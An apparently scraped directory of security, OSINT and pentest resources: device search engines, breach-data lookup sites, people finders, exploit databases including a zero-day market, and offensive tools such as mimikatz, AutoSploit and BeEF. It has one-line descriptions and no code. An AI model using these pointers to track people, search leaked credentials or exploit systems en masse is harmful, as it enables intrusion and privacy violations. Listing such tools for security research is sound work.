GTmetrix - analyze your site's speed and make it faster.

Sucuri loadtimetester - test here the performance of any of your sites from across the globe.

Pingdom Tools - analyze your site's speed around the world.

PingMe.io - run website latency tests across multiple geographic regions.

PageSpeed Insights - analyze your site's speed and make it faster.

web.dev - helps developers like you learn and apply the web's modern capabilities to your own sites and apps.

Lighthouse - automated auditing, performance metrics, and best practices for the web.

Mass scanners (search engines)

Censys - platform that helps information security practitioners discover, monitor, and analyze devices.

Shodan - the world's first search engine for Internet-connected devices.

Shodan 2000 - this tool looks for randomly generated data from Shodan.

GreyNoise - mass scanner such as Shodan and Censys.

ZoomEye - search engine for cyberspace that lets the user find specific network components.

netograph - tools to monitor and understand deep structure of the web.

FOFA - is a cyberspace search engine.

onyphe - is a search engine for open-source and cyber threat intelligence data collected.

IntelligenceX - is a search engine and data archive.

binaryedge - it scan the entire internet space and create real-time threat intelligence streams and reports.

CTF Tools

Spyse - Internet assets registry: networks, threats, web objects, etc.

wigle - is a submission-based catalog of wireless networks. All the networks. Found by Everyone.

PublicWWW - find any alphanumeric snippet, signature or keyword in the web pages HTML, JS and CSS code.

IntelTechniques - this repository contains hundreds of online search utilities.

hunter - lets you find email addresses in seconds and connect with the people that matter for your business.

GhostProject? - search by full email address or username.

databreaches - was my email affected by data breach?

We Leak Info - world's fastest and largest data breach search engine.

Pulsedive - scans of malicious URLs, IPs, and domains, including port scans and web requests.

Buckets by Grayhatwarfar - database with public search for Open Amazon S3 Buckets and their contents.

Vigilante.pw - the breached database directory.

builtwith - find out what websites are built with.

CTF Tools

NerdyData - search the web's source code for technologies, across millions of sites.

zorexeye - search for sites, images, apps, softwares & more.

Mamont's open FTP Index - if a target has an open FTP site with accessible content it will be listed here.

OSINT Framework - focused on gathering information from free tools or resources.

maltiverse - is a service oriented to cybersecurity analysts for the advanced analysis of indicators of compromise.

Leaked Source - is a collaboration of data found online in the form of a lookup.

We Leak Info - to help everyday individuals secure their online life, avoiding getting hacked.

pipl - is the place to find the person behind the email address, social username or phone number.

abuse.ch - is operated by a random swiss guy fighting malware for non-profit.

malc0de - malware search engine.

Cybercrime Tracker - monitors and tracks various malware families that are used to perpetrate cyber crimes.

CTF Tools

shhgit - find GitHub secrets in real time.

searchcode - helping you find real world examples of functions, API's and libraries.

Insecam - the world biggest directory of online surveillance security cameras.

index-of - contains great stuff like: security, hacking, reverse engineering, cryptography, programming etc.

Rapid7 Labs Open Data - is a great resources of datasets from Project Sonar.

Common Response Headers - the largest database of HTTP response headers.

InQuest Labs - InQuest Labs is an open, interactive, and API driven data portal for security researchers.

Generators

thispersondoesnotexist - generate fake faces in one click - endless possibilities.

AI Generated Photos - 100.000 AI generated faces.

fakenamegenerator - your randomly generated identity.

Intigriti Redirector - open redirect/SSRF payload generator.

CTF Tools

Passwords

have i been pwned? - check if you have an account that has been compromised in a data breach.

dehashed - is a hacked database search engine.

Leaked Source - is a collaboration of data found online in the form of a lookup.

CVE/Exploits databases

CVE Mitre - list of publicly known cybersecurity vulnerabilities.

CVE Details - CVE security vulnerability advanced database.

Exploit DB - CVE compliant archive of public exploits and corresponding vulnerable software.

0day.today - exploits market provides you the possibility to buy/sell zero-day exploits.

sploitus - the exploit and tools database.

cxsecurity - free vulnerability database.

Vulncode-DB - is a database for vulnerabilities and their corresponding source code if available.

cveapi - free API for CVE data.

Mobile apps scanners

ImmuniWeb® Mobile App Scanner - test security and privacy of mobile apps (iOS & Android). Quixxi - free Mobile App Vulnerability Scanner for Android & iOS. Ostorlab - analyzes mobile application to identify vulnerabilities and potential weaknesses.

Private Search Engines

Startpage - the world's most private search engine.

searX - a privacy-respecting, hackable metasearch engine.

darksearch - the 1st real Dark Web search engine.

Qwant - the search engine that respects your privacy.

DuckDuckGo - the search engine that doesn't track you.

Swisscows - privacy safe web search

Disconnect - the search engine that anonymizes your searches.

MetaGer - the search engine that uses anonymous proxy and hidden Tor branches.

Secure Webmail Providers

CounterMail - online email service, designed to provide maximum security and privacy.

Mail2Tor - is a Tor Hidden Service that allows anyone to send and receive emails anonymously.

Tutanota - is the world's most secure email service and amazingly easy to use.

Protonmail - is the world's largest secure email service, developed by CERN and MIT scientists.

Startmail - private & encrypted email made easy.

Crypto

Keybase - it's open source and powered by public-key cryptography.

PGP Keyservers

SKS OpenPGP Key server - services for the SKS keyservers used by OpenPGP.

CTF Tools

Pentesters arsenal tools

Sandcat Browser - a penetration-oriented browser with plenty of advanced functionality already built in.

Metasploit - tool and framework for pentesting system, web and many more, contains a lot a ready to use exploit.

Burp Suite - tool for testing web app security, intercepting proxy to replay, inject, scan and fuzz.

OWASP Zed Attack Proxy - intercepting proxy to replay, inject, scan and fuzz HTTP requests.

w3af - is a Web Application Attack and Audit Framework.

mitmproxy - an interactive TLS-capable intercepting HTTP proxy for penetration testers.

Nikto2 - web server scanner which performs comprehensive tests against web servers for multiple items.

sqlmap - tool that automates the process of detecting and exploiting SQL injection flaws.

Recon-ng - is a full-featured Web Reconnaissance framework written in Python.

AutoRecon - is a network reconnaissance tool which performs automated enumeration of services.

CTF Tools

XSStrike - most advanced XSS detection suite.

Sn1per - automated pentest framework for offensive security experts.

vuls - is an agent-less vulnerability scanner for Linux, FreeBSD, and other.

tsunami - is a general purpose network security scanner with an extensible plugin system.

aquatone - a tool for domain flyovers.

BillCipher - information gathering tool for a website or IP address.

WhatWaf - detect and bypass web application firewalls and protection systems.

Corsy - CORS misconfiguration scanner.

Raccoon - is a high performance offensive security tool for reconnaissance and vulnerability scanning.

dirhunt - find web directories without bruteforce.

CTF Tools

John The Ripper - is a fast password cracker, currently available for many flavors of Unix, Windows, and other.

hashcat - world's fastest and most advanced password recovery utility.

p0f - is a tool to identify the players behind any incidental TCP/IP communications.

ssh_scan - a prototype SSH configuration and policy scanner.

LeakLooker - find open databases - powered by Binaryedge.io

exploitdb - searchable archive from The Exploit Database.

getsploit - is a command line utility for searching and downloading exploits.

ctf-tools - some setup scripts for security research tools.

pwntools - CTF framework and exploit development library.

security-tools - collection of small security tools created mostly in Python. CTFs, pentests and so on.

pentestpackage - is a package of Pentest scripts.

CTF Tools

python-pentest-tools - python tools for penetration testers.

fuzzdb - dictionary of attack patterns and primitives for black-box application fault injection.

AFL - is a free software fuzzer maintained by Google.

AFL++ - is AFL with community patches.

syzkaller - is an unsupervised, coverage-guided kernel fuzzer.

pwndbg - exploit development and reverse engineering with GDB made easy.

GDB PEDA - Python Exploit Development Assistance for GDB.

IDA - multi-processor disassembler and debugger useful for reverse engineering malware.

radare2 - framework for reverse-engineering and analyzing binaries.

routersploit - exploitation framework for embedded devices.

Ghidra - is a software reverse engineering (SRE) framework.

CTF Tools

Cutter - is an SRE platform integrating Ghidra's decompiler.

Vulnreport - open-source pentesting management and automation platform by Salesforce Product Security.

Mentalist - is a graphical tool for custom wordlist generation.

archerysec - vulnerability assessment and management helps to perform scans and manage vulnerabilities.

Osmedeus - fully automated offensive security tool for reconnaissance and vulnerability scanning.

beef - the browser exploitation framework project.

AutoSploit - automated mass exploiter.

SUDO_KILLER - is a tool to identify and exploit sudo rules' misconfigurations and vulnerabilities.

yara - the pattern matching swiss knife.

mimikatz - a little tool to play with Windows security.

sherlock - hunt down social media accounts by username across social networks.

OWASP Threat Dragon - is a tool used to create threat model diagrams and to record possible threats.